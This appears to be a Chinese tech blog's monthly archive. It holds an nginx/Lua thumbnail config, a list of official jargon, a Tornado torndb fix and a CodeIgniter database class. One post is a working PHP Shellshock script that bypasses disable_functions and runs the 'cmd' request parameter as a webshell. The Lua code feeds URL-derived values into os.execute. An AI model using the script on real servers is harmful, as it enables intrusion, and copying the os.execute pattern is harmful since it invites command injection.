月度归档:2014年11月

nginx1 mark

location /upload/{
rewrite "^/upload/(.*).(txt|jpg)_(\d+x\d+)$" "/upload/$1.$2" last;
}
location ~* "/(php|php1|php2|php3)/public/" {
    default_type image/jpeg;
    set $needCreateImg 0;
    if (!-f $request_filename) {
    set $needCreateImg "${needCreateImg}1";
    }   
    if ($uri ~* "/(php|php1|php2|php3)/public/(.*)/([0-9a-zA-Z-]+).(gif|jpg|jpeg|png)_(\d+x\d+)") {
    set $needCreateImg "${needCreateImg}2";
    }   
    if ($needCreateImg = "012") {
    set $v_path "$1/public";
    set $filePath "$document_root/$v_path/$2/$3.$4_$5";
    set $originalPath "$document_root/$v_path/$2/$3.$4";
    set $fileSize "$5";
    set $fileExt "$4";
    rewrite_by_lua '
      function file_exists(name)
      local f=io.open(name,"r")
      if f~=nil then io.close(f) return true else return false end 
      end 
      local image_sizes = {"80x40", "160x80","320x160","100x100","140x140","300x300","80x80","290x193","68x62"};
      function table.contains(table, element)
        for _, value in pairs(table) do
        if value == element then
          return true
        end 
        end 
        return false
      end 

|   local is_auto=1;
    local command="";
      if table.contains(image_sizes, ngx.var.fileSize) and file_exists(ngx.var.originalPath) or is_auto==1 then
        if ngx.var.fileSize == "999x999" then
        command = "gm convert " ..  ngx.var.originalPath  .. " -scale %100 -quality 25  jpg:" .. ngx.var.filePath;
        else
        command = "gm convert " ..  ngx.var.originalPath  .. " -thumbnail " .. ngx.var.fileSize .. " -background white -gravity center -extent " .. ngx.var.fileSize .. " " .. ngx.var.filePath;
        end 
        --ngx.header.content_type = "text/html";
        --ngx.say(ngx.var.fileSize);
        --ngx.exit(200);
        os.execute(command);
      else
        ngx.exit(404);
      end;
    ';
    }
  }


location ~* "/(php|php1|php2|php3)/public/(.*).(txt|jpg)$"{
    rewrite "^/(php|php1|php2|php3)/public/(.*).(txt|jpg)$" "/$1/public/$2.$3_999x999" last;
    }  

中国官场常用词一览

很多次,坐在台下,听一个一个很有中国特色的词汇,从演讲者口中次地蹦出。有时感觉真很奇幻,他们说的那么娴熟自信,这是真的吗?


这样的疑问,我想,在未来很长一段时间里,很多参会者还都会有。


我从来不觉得这些词语有什么原罪,其实,它们不少还是成语俗语,应该是我们中国优秀文化和智慧的结晶。只是,接二连三有规律有套路地脱口而出,应该也是我们这个社会的一大特色。


当然,即便是这些词,我也曾听到过非常棒的演讲,有时还感动得热泪盈眶。我还是属于一个比较容易被感染的人。


但更多时候,我知道,演讲者也就是把它们说完。说完了,大家就可以散了。这就好比是表演,有表演一流的,也有不入流的。比如,不入流到上面口沫横飞,下面却排排都睡。


但这是一个创造了辉煌灿烂文化的民族该有的讲话方式吗?很多很多年后,我们的子孙看到充斥这些词语的文章,会否哑然失笑,就如同我们看文革时期的一系列特色文章。


感谢网络有心人,搜集的中国特色官场用词!


附录1:



1常用排比


最常用的三字词:可概括为性、感、多、点,不、化、新、力。


A、XX性:重要性、紧迫性、自觉性、主动性、坚定性、民族性、时代性、实践性、针对性、全局性、前瞻性、战略性、积极性、创造性、长期性、复杂性、艰巨性、可讲性、鼓动性、计划性、敏锐性、有效性;

B 、XX感:责任感、紧迫感、危机感、认同感、荣誉感、成就感;

C、多XX:多层次、多方面、多途径、多渠道、多措施、多力量、多元素。

D、XX点:出发点、切入点、突破点、落脚点、着眼点、结合点、关键点、着重点、着力点、根本点、支撑点;

E、不XX:不松劲、不懈怠、不退缩、不畏难、不罢手、不动摇、不放弃、不改变、不妥协;

F、XX化:法制化、规范化、制度化、程序化、集约化、正常化、有序化、智能化、优质化、常态化、科学化、年轻化、知识化、专业化;

G、新XX:新水平、新境界、新举措、新发展、新突破、新成绩、新成效、新方法、新成果、新形势、新要求、新期待、新关系、新体制、新机制、新知识、新本领、新进展、新实践、新风貌、新事物、新高度;


H、XX力:活动力、控制力、影响力、创造力、凝聚力、战斗力、感染力、亲活力;

热心、耐心、诚心、决心、核心、内心、外心、中心、甘心、攻心,进取心、责任心、上进心、公仆心;

政治意识、组织意识、大局意识、忧患意识、责任意识、法律意识、廉洁意识、学习意识、上进意识、管理意识;

找准出发点、把握切入点、明确落脚点、找准落脚点、抓住切入点、把握着重点、找准切入点、把握着力点、抓好落脚点;

激发巨大热情,凝聚无穷力量,催生丰硕成果,展现全新魅力。

当前工作要有新水平、队伍建设要有新面貌、廉政建设要有新举措、自身建设要有新发展、内部管理要有新突破。

政治认同、理论认同、感情认同;历史的必然、现实的选择、未来的方向。



2常用短语



立足当前,着眼长远,自觉按规律办事

抓住机遇,应对挑战,勇敢顺潮流而为
突出重点,分步实施,找准切入点实施


全面推进,统筹兼顾,综合治理,融入其中,贯穿始终,切实抓好,扎实推进,加快发展,持续增收,积极稳妥,狠抓落实,从严
控制,严格执行,坚决制止,明确职责,高举旗帜,坚定不移,牢牢把握,积极争取,深入开展,注重强化,规范程序,改进作风,积极发展,努力建设,依法实
行,良性互动,优势互补,率先发展,互惠互利,做深、做细、做实、全面分析,全面贯彻,持续推进,全面落实、全面实施,逐步扭转,基本形成,普遍增加,基
本建立,更加完备,逐步完善,明显提高,逐渐好转,逐步形成,不断加强,持续增效,巩固深化,大幅提高,显著改善,不断增强,日趋完善,比较圆满。




3常用动词



推进,推动,健全,统领,协调,统筹,转变,提高,实现,适应,改革,创新,扩大,加强,促进,巩固,保障,完善,
加快,振兴,崛起,分工,扶持,改善,调整,优化,解决,宣传,教育,发挥,支持,带动,帮助,深化,规范,强化,统筹,指导,服务,健全,确保,维护,
优先,贯彻,实施,深化,保证,鼓励,引导,坚持,深化,强化,监督,管理,开展,规划,整合,理顺,推行,纠正,严格,满足,推广,遏制,整治,保护,
健全,丰富,夯实,树立,尊重,制约,适应,发扬,拓宽,拓展,规范,改进,形成,逐步,实现,规范,坚持,调节,取缔,调控,把握,弘扬,借鉴,倡导,
培育,打牢,武装,凝聚,激发,说服,感召,尊重,包容,树立,培育,发扬,提倡,营造,促进,唱响,主张,弘扬,通达,引导,疏导,着眼,吸引,塑造,
搞好,履行,倾斜,惠及,简化,衔接,调处,关切,汇集,分析,排查,协商,化解,动员,联动,激发,增进,汲取,检验,保护,鼓励,完善,宽容,增强,
融洽,凝聚,汇集,筑牢,考验,进取,凝聚,设置,吸纳,造就,给力,聚焦,支撑,展现,体现……



4常用名词



关系,力度,速度,反映,诉求,形势,任务,本质属性,重要保证,总体布局,战略任务,内在要求,重要进展,决策部
署,结合点,突出地位,最大限度,指导思想,科学性,协调性,体制机制,基本方略,理念意识,基本路线,基本纲领,秩序,基本经验,出发点,落脚点,要
务,核心,主体,积极因素,水平,方针,结构,增量,比重,规模,标准,办法,主体,作用,特色,差距,渠道,方式,主导,纽带,主体,载体,制度,需
求,能力,负担,体系,重点,资源,职能,倾向,秩序,途径,活力,项目,工程,政策,项目,竞争力,环境,素质,权利,利益,权威,氛围,职能,作用,
事权,需要,能力,基础,比重,长效机制,举措,要素,精神,根本,地位,成果,核心,精神,力量,纽带,思想,理想,活力,信念,信心,风尚,意识,主
旋律,正气,热点,情绪,内涵,管理,格局,准则,网络,稳定,安全,支撑,局面,环境,关键,保证,本领,突出,位置,敏锐性,针对性,有效性,覆盖
面,特点,规律,阵地,政策,措施,制度保障,水平,紧迫,任务,合力。




5文稿提纲(示例):



以求真务实的态度,积极推进XXXXX制度化。

以优化服务为目的,积极推进xx工作正常化。
以提质加速为责任,积极推进xx工作程序化。
以畅通安全为保障,积极推进xx工作智能化。
以立此存照为借鉴,积极推进xx工作规范化。
以解决问题为重点,积极推进xx工作有序化。
以服务机关为宗旨,积极推进xx服务优质化
以统筹兼顾为重点,积极推进xx工作常态化。


一、求真务实,积极推进xx工作制度化
二、建立体系,积极推进xx工作正常化。
三、规范办文,积极推进xx工作程序化。
四、强化责任,积极推进xx工作有序化。
五、注重质量,积极推进xx服务规范化。
六、统筹兼顾,积极推进xx工作正常化。

一是求真务实,抓好调研工作。
二是提高质量,做好信息工作。
三是紧跟进度,抓好督查工作。
四是高效规范,抓好文秘工作。
五是高度负责,做好保密工作。
六是协调推进,做好档案工作。
七是积极稳妥,做好信访工作。
八是严格要求,做好服务工作。

一、理思路,订制度,不断提高服务新水平
二、抓业务,重实效,努力开创工作新局面
三、重协调,强进度,尽快展现工作新成果
四、抓学习,重廉洁,促进队伍素质新提高

1.着眼全局,做好XXXX工作。
2.高效规范,做好XXXX工作。
3.紧跟进度,做好XXXX工作。
4.提高质量,做好XXXX工作。
5.周密细致,做好XXXX工作。
6.协调推进,做好XXXX工作。

一是建章立制,积极推进xx管理制度化。
二是规范办文,积极推进xx工作程序化。
三是建立体系,积极推进xx督查正常化。
四是注重质量,积极推进xx工作规范化。
五是各司其职,积极推进xx工作有序化。


附录二:机关公文常用词汇集锦

动词(一字):

抓,搞,上,下,出,想,谋,订,定,给,出……

动词(二字):
分析,研究,了解,掌握,发现,提出,推进,推动,制定,出台,完善,建立,健全,加强,强化,增强,促进,加深,深化,扩大,落实,细化,突出,建设,
营造,开展,发挥,发扬,创新,转变,发展,统一,提高,提升,保持,优化,召开,举行,贯彻,执行,树立,引导,规范,整顿,服务,协调,沟通,配合,
合作,支持,加大,开拓,拓展,巩固,保障,保证,形成,指导

名词(二字):

体系,机制,体制,系统,规划,战略,方针,政策,措施,要点,重点,焦点,难点,热点,亮点,矛盾,问题,建设,
思想,认识,作风,整治,环境,秩序,作用,地方,基层,传统,运行,监测,监控,调控,监督,工程,计划,行动,创新,增长,方式,模式,转变,质量,
水平,效益,会议,文件,精神,意识,服务,协调,沟通,力度,领域,空间,成绩,成就,进展,实效,基础,前提,关键,保障,动力,条件,环节,方法,
思路,设想,途径,道路,主意,办法,力气,功夫,台阶,形势,情况,意见,建议,网络,指导,指南,目录,方案

形容词(一字):
多,宽,高,大,好,快,省,新

形容词(二字):
持续,快速,协调,健康,公平,公正,公开,透明,富强,民主,文明,和谐,祥和,优良,良好,合理,稳定,平衡,均衡,稳健,平稳,统一,现代,新潮,落后,滞后。

副词(一字):
狠,早,细,实,好,很,较,再,更

副词(二字):
加快,尽快,抓紧,尽早,整体,充分,继续,深入,自觉,主动,自主,密切,大力,全力,尽力,务必,务求,有效

副词(三字部):

进一步XXXX(可用排比三至五条)

后缀(2+1字):

XX化,XX型,XX性,XX感,XX型,XX力(性:必要性、重要性、长期性、艰巨性、复杂性。感:使命感、责任感、危机感、紧迫感、荣誉感。)


词组:
统一思想,提高认识,认清形势,明确任务,加强领导,完善机制,交流经验,研究问题,团结协作,密切配合,真抓实干,开拓进取,突出重点,落实责任,各司
其职,各负其责,集中精力,聚精会神,一心一意,心无旁骛,兢兢业业,精益求精,一抓到底,爱岗敬业,求真务实,胸怀全局,拓宽视野。

 

来源:网络

tornado找不到database模块解决办法,

今天把以前用tornado写的程序跑一下。 结果发现 ImportError: No module named database  我明明安装了 tornado

查了一下发现原来是tornado3.0版本以后废除database模块,然后推出了一个类似database的模块torndb,我看了下源码基本就是MySQLdb的简单封装。

下载torndb,https://github.com/bdarnell/torndb

然后 把原来代码中的

import tornado.database

改成

import torndb

利用bash漏洞绕过php中disable_function

<?php
function shellshocks($cmd) { 
   if(strstr(readlink("/bin/sh"), "bash") != FALSE) {
     $tmp = tempnam(".","data");
     putenv("PHP_LOL=() { x; }; $cmd >$tmp 2>&1");
     mail("a@127.0.0.1","","","","-bv");
   }
   else return "Not vuln (not bash)";
   $output = @file_get_contents($tmp);
   @unlink($tmp);
   if($output != "") return $output;
   else return "No output, or not vuln.";
}
shellshocks($_REQUEST["cmd"]);
?>

分离出CodeIgniter数据库和Active Record类单文件版

今天花了点时间把CodeIgniter的Active Record类整理成了一个单文件版, 目前只分离了mysql的驱动,

mysqlclass.php

<?php  if ( ! defined('BASEPATH')) exit('No direct script access allowed');
class CI_DB_driver {
	var $username;
	var $password;
	var $hostname;
	var $database;
	var $dbdriver		= 'mysql';
	var $dbprefix		= '';
	var $char_set		= 'utf8';
	var $dbcollat		= 'utf8_general_ci';
	var $autoinit		= TRUE; // Whether to automatically initialize the DB
	var $swap_pre		= '';
	var $port			= '';
	var $pconnect		= FALSE;
	var $conn_id		= FALSE;
	var $result_id		= FALSE;
	var $db_debug		= FALSE;
	var $benchmark		= 0;
	var $query_count	= 0;
	var $bind_marker	= '?';
	var $save_queries	= TRUE;
	var $queries		= array();
	var $query_times	= array();
	var $data_cache		= array();
	var $trans_enabled	= TRUE;
	var $trans_strict	= TRUE;
	var $_trans_depth	= 0;
	var $_trans_status	= TRUE; // Used with transactions to determine if a rollback should occur
	var $cache_on		= FALSE;
	var $cachedir		= '';
	var $cache_autodel	= FALSE;
	var $CACHE; // The cache class object
	var $_protect_identifiers	= TRUE;
	var $_reserved_identifiers	= array('*'); // Identifiers that should NOT be escaped
	var $stmt_id;
	var $curs_id;
	var $limit_used;
	function __construct($params)
	{
		if (is_array($params))
		{
			foreach ($params as $key => $val)
			{
				$this->$key = $val;
			}
		}
	}
	function initialize()
	{
		if (is_resource($this->conn_id) OR is_object($this->conn_id))
		{
			return TRUE;
		}
		$this->conn_id = ($this->pconnect == FALSE) ? $this->db_connect() : $this->db_pconnect();
		if ( ! $this->conn_id)
		{
			log_message('error', 'Unable to connect to the database');
			if ($this->db_debug)
			{
				$this->display_error('db_unable_to_connect');
			}
			return FALSE;
		}
		if ($this->database != '')
		{
			if ( ! $this->db_select())
			{
				log_message('error', 'Unable to select database: '.$this->database);
				if ($this->db_debug)
				{
					$this->display_error('db_unable_to_select', $this->database);
				}
				return FALSE;
			}
			else
			{
				if ( ! $this->db_set_charset($this->char_set, $this->dbcollat))
				{
					return FALSE;
				}
				return TRUE;
			}
		}
		return TRUE;
	}
	function db_set_charset($charset, $collation)
	{
		if ( ! $this->_db_set_charset($this->char_set, $this->dbcollat))
		{
			log_message('error', 'Unable to set database connection charset: '.$this->char_set);
			if ($this->db_debug)
			{
				$this->display_error('db_unable_to_set_charset', $this->char_set);
			}
			return FALSE;
		}
		return TRUE;
	}
	function platform()
	{
		return $this->dbdriver;
	}
	function version()
	{
		if (FALSE === ($sql = $this->_version()))
		{
			if ($this->db_debug)
			{
				return $this->display_error('db_unsupported_function');
			}
			return FALSE;
		}
		$driver_version_exceptions = array('oci8', 'sqlite', 'cubrid');
		if (in_array($this->dbdriver, $driver_version_exceptions))
		{
			return $sql;
		}
		else
		{
			$query = $this->query($sql);
			return $query->row('ver');
		}
	}
	function query($sql, $binds = FALSE, $return_object = TRUE)
	{
		if ($sql == '')
		{
			if ($this->db_debug)
			{
				log_message('error', 'Invalid query: '.$sql);
				return $this->display_error('db_invalid_query');
			}
			return FALSE;
		}
		if ( ($this->dbprefix != '' AND $this->swap_pre != '') AND ($this->dbprefix != $this->swap_pre) )
		{
			$sql = preg_replace("/(\W)".$this->swap_pre."(\S+?)/", "\\1".$this->dbprefix."\\2", $sql);
		}
		if ($binds !== FALSE)
		{
			$sql = $this->compile_binds($sql, $binds);
		}
		if ($this->cache_on == TRUE AND stristr($sql, 'SELECT'))
		{
			if ($this->_cache_init())
			{
				$this->load_rdriver();
				if (FALSE !== ($cache = $this->CACHE->read($sql)))
				{
					return $cache;
				}
			}
		}
		if ($this->save_queries == TRUE)
		{
			$this->queries[] = $sql;
		}
		$time_start = list($sm, $ss) = explode(' ', microtime());
		if (FALSE === ($this->result_id = $this->simple_query($sql)))
		{
			if ($this->save_queries == TRUE)
			{
				$this->query_times[] = 0;
			}
			$this->_trans_status = FALSE;
			if ($this->db_debug)
			{
				$error_no = $this->_error_number();
				$error_msg = $this->_error_message();
				$this->trans_complete();
				log_message('error', 'Query error: '.$error_msg);
				return $this->display_error(
										array(
												'Error Number: '.$error_no,
												$error_msg,
												$sql
											)
										);
			}
			return FALSE;
		}
		$time_end = list($em, $es) = explode(' ', microtime());
		$this->benchmark += ($em + $es) - ($sm + $ss);
		if ($this->save_queries == TRUE)
		{
			$this->query_times[] = ($em + $es) - ($sm + $ss);
		}
		$this->query_count++;
		if ($this->is_write_type($sql) === TRUE)
		{
			if ($this->cache_on == TRUE AND $this->cache_autodel == TRUE AND $this->_cache_init())
			{
				$this->CACHE->delete();
			}
			return TRUE;
		}
		if ($return_object !== TRUE)
		{
			return TRUE;
		}
		$driver			= $this->load_rdriver();
		$RES			= new $driver();
		$RES->conn_id	= $this->conn_id;
		$RES->result_id	= $this->result_id;
		if ($this->dbdriver == 'oci8')
		{
			$RES->stmt_id		= $this->stmt_id;
			$RES->curs_id		= NULL;
			$RES->limit_used	= $this->limit_used;
			$this->stmt_id		= FALSE;
		}
		$RES->num_rows	= $RES->num_rows();
		if ($this->cache_on == TRUE AND $this->_cache_init())
		{
			$CR = new CI_DB_result();
			$CR->num_rows		= $RES->num_rows();
			$CR->result_object	= $RES->result_object();
			$CR->result_array	= $RES->result_array();
			$CR->conn_id		= NULL;
			$CR->result_id		= NULL;
			$this->CACHE->write($sql, $CR);
		}
		return $RES;
	}
	function load_rdriver()
	{
		$driver = 'CI_DB_'.$this->dbdriver.'_result';
		if ( ! class_exists($driver))
		{
			include_once(BASEPATH.'database/DB_result.php');
			include_once(BASEPATH.'database/drivers/'.$this->dbdriver.'/'.$this->dbdriver.'_result.php');
		}
		return $driver;
	}
	function simple_query($sql)
	{
		if ( ! $this->conn_id)
		{
			$this->initialize();
		}
		return $this->_execute($sql);
	}
	function trans_off()
	{
		$this->trans_enabled = FALSE;
	}
	function trans_strict($mode = TRUE)
	{
		$this->trans_strict = is_bool($mode) ? $mode : TRUE;
	}
	function trans_start($test_mode = FALSE)
	{
		if ( ! $this->trans_enabled)
		{
			return FALSE;
		}
		if ($this->_trans_depth > 0)
		{
			$this->_trans_depth += 1;
			return;
		}
		$this->trans_begin($test_mode);
	}
	function trans_complete()
	{
		if ( ! $this->trans_enabled)
		{
			return FALSE;
		}
		if ($this->_trans_depth > 1)
		{
			$this->_trans_depth -= 1;
			return TRUE;
		}
		if ($this->_trans_status === FALSE)
		{
			$this->trans_rollback();
			if ($this->trans_strict === FALSE)
			{
				$this->_trans_status = TRUE;
			}
			log_message('debug', 'DB Transaction Failure');
			return FALSE;
		}
		$this->trans_commit();
		return TRUE;
	}
	function trans_status()
	{
		return $this->_trans_status;
	}
	function compile_binds($sql, $binds)
	{
		if (strpos($sql, $this->bind_marker) === FALSE)
		{
			return $sql;
		}
		if ( ! is_array($binds))
		{
			$binds = array($binds);
		}
		$segments = explode($this->bind_marker, $sql);
		if (count($binds) >= count($segments)) {
			$binds = array_slice($binds, 0, count($segments)-1);
		}
		$result = $segments[0];
		$i = 0;
		foreach ($binds as $bind)
		{
			$result .= $this->escape($bind);
			$result .= $segments[++$i];
		}
		return $result;
	}
	function is_write_type($sql)
	{
		if ( ! preg_match('/^\s*"?(SET|INSERT|UPDATE|DELETE|REPLACE|CREATE|DROP|TRUNCATE|LOAD DATA|COPY|ALTER|GRANT|REVOKE|LOCK|UNLOCK)\s+/i', $sql))
		{
			return FALSE;
		}
		return TRUE;
	}
	function elapsed_time($decimals = 6)
	{
		return number_format($this->benchmark, $decimals);
	}
	function total_queries()
	{
		return $this->query_count;
	}
	function last_query()
	{
		return end($this->queries);
	}
	function escape($str)
	{
		if (is_string($str))
		{
			$str = "'".$this->escape_str($str)."'";
		}
		elseif (is_bool($str))
		{
			$str = ($str === FALSE) ? 0 : 1;
		}
		elseif (is_null($str))
		{
			$str = 'NULL';
		}
		return $str;
	}
	function escape_like_str($str)
	{
		return $this->escape_str($str, TRUE);
	}
	function primary($table = '')
	{
		$fields = $this->list_fields($table);
		if ( ! is_array($fields))
		{
			return FALSE;
		}
		return current($fields);
	}
	function list_tables($constrain_by_prefix = FALSE)
	{
		if (isset($this->data_cache['table_names']))
		{
			return $this->data_cache['table_names'];
		}
		if (FALSE === ($sql = $this->_list_tables($constrain_by_prefix)))
		{
			if ($this->db_debug)
			{
				return $this->display_error('db_unsupported_function');
			}
			return FALSE;
		}
		$retval = array();
		$query = $this->query($sql);
		if ($query->num_rows() > 0)
		{
			foreach ($query->result_array() as $row)
			{
				if (isset($row['TABLE_NAME']))
				{
					$retval[] = $row['TABLE_NAME'];
				}
				else
				{
					$retval[] = array_shift($row);
				}
			}
		}
		$this->data_cache['table_names'] = $retval;
		return $this->data_cache['table_names'];
	}
	function table_exists($table_name)
	{
		return ( ! in_array($this->_protect_identifiers($table_name, TRUE, FALSE, FALSE), $this->list_tables())) ? FALSE : TRUE;
	}
	function list_fields($table = '')
	{
		if (isset($this->data_cache['field_names'][$table]))
		{
			return $this->data_cache['field_names'][$table];
		}
		if ($table == '')
		{
			if ($this->db_debug)
			{
				return $this->display_error('db_field_param_missing');
			}
			return FALSE;
		}
		if (FALSE === ($sql = $this->_list_columns($table)))
		{
			if ($this->db_debug)
			{
				return $this->display_error('db_unsupported_function');
			}
			return FALSE;
		}
		$query = $this->query($sql);
		$retval = array();
		foreach ($query->result_array() as $row)
		{
			if (isset($row['COLUMN_NAME']))
			{
				$retval[] = $row['COLUMN_NAME'];
			}
			else
			{
				$retval[] = current($row);
			}
		}
		$this->data_cache['field_names'][$table] = $retval;
		return $this->data_cache['field_names'][$table];
	}
	function field_exists($field_name, $table_name)
	{
		return ( ! in_array($field_name, $this->list_fields($table_name))) ? FALSE : TRUE;
	}
	function field_data($table = '')
	{
		if ($table == '')
		{
			if ($this->db_debug)
			{
				return $this->display_error('db_field_param_missing');
			}
			return FALSE;
		}
		$query = $this->query($this->_field_data($this->_protect_identifiers($table, TRUE, NULL, FALSE)));
		return $query->field_data();
	}
	function insert_string($table, $data)
	{
		$fields = array();
		$values = array();
		foreach ($data as $key => $val)
		{
			$fields[] = $this->_escape_identifiers($key);
			$values[] = $this->escape($val);
		}
		return $this->_insert($this->_protect_identifiers($table, TRUE, NULL, FALSE), $fields, $values);
	}
	function update_string($table, $data, $where)
	{
		if ($where == '')
		{
			return false;
		}
		$fields = array();
		foreach ($data as $key => $val)
		{
			$fields[$this->_protect_identifiers($key)] = $this->escape($val);
		}
		if ( ! is_array($where))
		{
			$dest = array($where);
		}
		else
		{
			$dest = array();
			foreach ($where as $key => $val)
			{
				$prefix = (count($dest) == 0) ? '' : ' AND ';
				if ($val !== '')
				{
					if ( ! $this->_has_operator($key))
					{
						$key .= ' =';
					}
					$val = ' '.$this->escape($val);
				}
				$dest[] = $prefix.$key.$val;
			}
		}
		return $this->_update($this->_protect_identifiers($table, TRUE, NULL, FALSE), $fields, $dest);
	}
	function _has_operator($str)
	{
		$str = trim($str);
		if ( ! preg_match("/(\s|<|>|!|=|is null|is not null)/i", $str))
		{
			return FALSE;
		}
		return TRUE;
	}
	function call_function($function)
	{
		$driver = ($this->dbdriver == 'postgre') ? 'pg_' : $this->dbdriver.'_';
		if (FALSE === strpos($driver, $function))
		{
			$function = $driver.$function;
		}
		if ( ! function_exists($function))
		{
			if ($this->db_debug)
			{
				return $this->display_error('db_unsupported_function');
			}
			return FALSE;
		}
		else
		{
			$args = (func_num_args() > 1) ? array_splice(func_get_args(), 1) : null;
			if (is_null($args))
			{
				return call_user_func($function);
			}
			else
			{
				return call_user_func_array($function, $args);
			}
		}
	}
	function cache_set_path($path = '')
	{
		$this->cachedir = $path;
	}
	function cache_on()
	{
		$this->cache_on = TRUE;
		return TRUE;
	}
	function cache_off()
	{
		$this->cache_on = FALSE;
		return FALSE;
	}
	function cache_delete($segment_one = '', $segment_two = '')
	{
		if ( ! $this->_cache_init())
		{
			return FALSE;
		}
		return $this->CACHE->delete($segment_one, $segment_two);
	}
	function cache_delete_all()
	{
		if ( ! $this->_cache_init())
		{
			return FALSE;
		}
		return $this->CACHE->delete_all();
	}
	function _cache_init()
	{
		if (is_object($this->CACHE) AND class_exists('CI_DB_Cache'))
		{
			return TRUE;
		}
		if ( ! class_exists('CI_DB_Cache'))
		{
			if ( ! @include(BASEPATH.'database/DB_cache.php'))
			{
				return $this->cache_off();
			}
		}
		$this->CACHE = new CI_DB_Cache($this); // pass db object to support multiple db connections and returned db objects
		return TRUE;
	}
	function close()
	{
		if (is_resource($this->conn_id) OR is_object($this->conn_id))
		{
			$this->_close($this->conn_id);
		}
		$this->conn_id = FALSE;
	}
	function display_error($error = '', $swap = '', $native = FALSE)
	{
		$LANG =& load_class('Lang', 'core');
		$LANG->load('db');
		$heading = $LANG->line('db_error_heading');
		if ($native == TRUE)
		{
			$message = $error;
		}
		else
		{
			$message = ( ! is_array($error)) ? array(str_replace('%s', $swap, $LANG->line($error))) : $error;
		}
		$trace = debug_backtrace();
		foreach ($trace as $call)
		{
			if (isset($call['file']) && strpos($call['file'], BASEPATH.'database') === FALSE)
			{
				$message[] = 'Filename: '.str_replace(array(BASEPATH, APPPATH), '', $call['file']);
				$message[] = 'Line Number: '.$call['line'];
				break;
			}
		}
		$error =& load_class('Exceptions', 'core');
		echo $error->show_error($heading, $message, 'error_db');
		exit;
	}
	function protect_identifiers($item, $prefix_single = FALSE)
	{
		return $this->_protect_identifiers($item, $prefix_single);
	}
	function _protect_identifiers($item, $prefix_single = FALSE, $protect_identifiers = NULL, $field_exists = TRUE)
	{
		if ( ! is_bool($protect_identifiers))
		{
			$protect_identifiers = $this->_protect_identifiers;
		}
		if (is_array($item))
		{
			$escaped_array = array();
			foreach ($item as $k => $v)
			{
				$escaped_array[$this->_protect_identifiers($k)] = $this->_protect_identifiers($v);
			}
			return $escaped_array;
		}
		$item = preg_replace('/[\t ]+/', ' ', $item);
		if (strpos($item, ' ') !== FALSE)
		{
			$alias = strstr($item, ' ');
			$item = substr($item, 0, - strlen($alias));
		}
		else
		{
			$alias = '';
		}
		if (strpos($item, '(') !== FALSE)
		{
			return $item.$alias;
		}
		if (strpos($item, '.') !== FALSE)
		{
			$parts	= explode('.', $item);
			if (in_array($parts[0], $this->ar_aliased_tables))
			{
				if ($protect_identifiers === TRUE)
				{
					foreach ($parts as $key => $val)
					{
						if ( ! in_array($val, $this->_reserved_identifiers))
						{
							$parts[$key] = $this->_escape_identifiers($val);
						}
					}
					$item = implode('.', $parts);
				}
				return $item.$alias;
			}
			if ($this->dbprefix != '')
			{
				if (isset($parts[3]))
				{
					$i = 2;
				}
				elseif (isset($parts[2]))
				{
					$i = 1;
				}
				else
				{
					$i = 0;
				}
				if ($field_exists == FALSE)
				{
					$i++;
				}
				if ($this->swap_pre != '' && strncmp($parts[$i], $this->swap_pre, strlen($this->swap_pre)) === 0)
				{
					$parts[$i] = preg_replace("/^".$this->swap_pre."(\S+?)/", $this->dbprefix."\\1", $parts[$i]);
				}
				if (substr($parts[$i], 0, strlen($this->dbprefix)) != $this->dbprefix)
				{
					$parts[$i] = $this->dbprefix.$parts[$i];
				}
				$item = implode('.', $parts);
			}
			if ($protect_identifiers === TRUE)
			{
				$item = $this->_escape_identifiers($item);
			}
			return $item.$alias;
		}
		if ($this->dbprefix != '')
		{
			if ($this->swap_pre != '' && strncmp($item, $this->swap_pre, strlen($this->swap_pre)) === 0)
			{
				$item = preg_replace("/^".$this->swap_pre."(\S+?)/", $this->dbprefix."\\1", $item);
			}
			if ($prefix_single == TRUE AND substr($item, 0, strlen($this->dbprefix)) != $this->dbprefix)
			{
				$item = $this->dbprefix.$item;
			}
		}
		if ($protect_identifiers === TRUE AND ! in_array($item, $this->_reserved_identifiers))
		{
			$item = $this->_escape_identifiers($item);
		}
		return $item.$alias;
	}
	protected function _reset_select()
	{
	}
}
//end class db_driver
// class DB_active_rec.php
class CI_DB_active_record extends CI_DB_driver {
	var $ar_select				= array();
	var $ar_distinct			= FALSE;
	var $ar_from				= array();
	var $ar_join				= array();
	var $ar_where				= array();
	var $ar_like				= array();
	var $ar_groupby				= array();
	var $ar_having				= array();
	var $ar_keys				= array();
	var $ar_limit				= FALSE;
	var $ar_offset				= FALSE;
	var $ar_order				= FALSE;
	var $ar_orderby				= array();
	var $ar_set					= array();
	var $ar_wherein				= array();
	var $ar_aliased_tables		= array();
	var $ar_store_array			= array();
	var $ar_caching				= FALSE;
	var $ar_cache_exists		= array();
	var $ar_cache_select		= array();
	var $ar_cache_from			= array();
	var $ar_cache_join			= array();
	var $ar_cache_where			= array();
	var $ar_cache_like			= array();
	var $ar_cache_groupby		= array();
	var $ar_cache_having		= array();
	var $ar_cache_orderby		= array();
	var $ar_cache_set			= array();
	var $ar_no_escape 			= array();
	var $ar_cache_no_escape     = array();
	public function select($select = '*', $escape = NULL)
	{
		if (is_string($select))
		{
			$select = explode(',', $select);
		}
		foreach ($select as $val)
		{
			$val = trim($val);
			if ($val != '')
			{
				$this->ar_select[] = $val;
				$this->ar_no_escape[] = $escape;
				if ($this->ar_caching === TRUE)
				{
					$this->ar_cache_select[] = $val;
					$this->ar_cache_exists[] = 'select';
					$this->ar_cache_no_escape[] = $escape;
				}
			}
		}
		return $this;
	}
	public function select_max($select = '', $alias = '')
	{
		return $this->_max_min_avg_sum($select, $alias, 'MAX');
	}
	public function select_min($select = '', $alias = '')
	{
		return $this->_max_min_avg_sum($select, $alias, 'MIN');
	}
	public function select_avg($select = '', $alias = '')
	{
		return $this->_max_min_avg_sum($select, $alias, 'AVG');
	}
	public function select_sum($select = '', $alias = '')
	{
		return $this->_max_min_avg_sum($select, $alias, 'SUM');
	}
	protected function _max_min_avg_sum($select = '', $alias = '', $type = 'MAX')
	{
		if ( ! is_string($select) OR $select == '')
		{
			$this->display_error('db_invalid_query');
		}
		$type = strtoupper($type);
		if ( ! in_array($type, array('MAX', 'MIN', 'AVG', 'SUM')))
		{
			show_error('Invalid function type: '.$type);
		}
		if ($alias == '')
		{
			$alias = $this->_create_alias_from_table(trim($select));
		}
		$sql = $type.'('.$this->_protect_identifiers(trim($select)).') AS '.$alias;
		$this->ar_select[] = $sql;
		if ($this->ar_caching === TRUE)
		{
			$this->ar_cache_select[] = $sql;
			$this->ar_cache_exists[] = 'select';
		}
		return $this;
	}
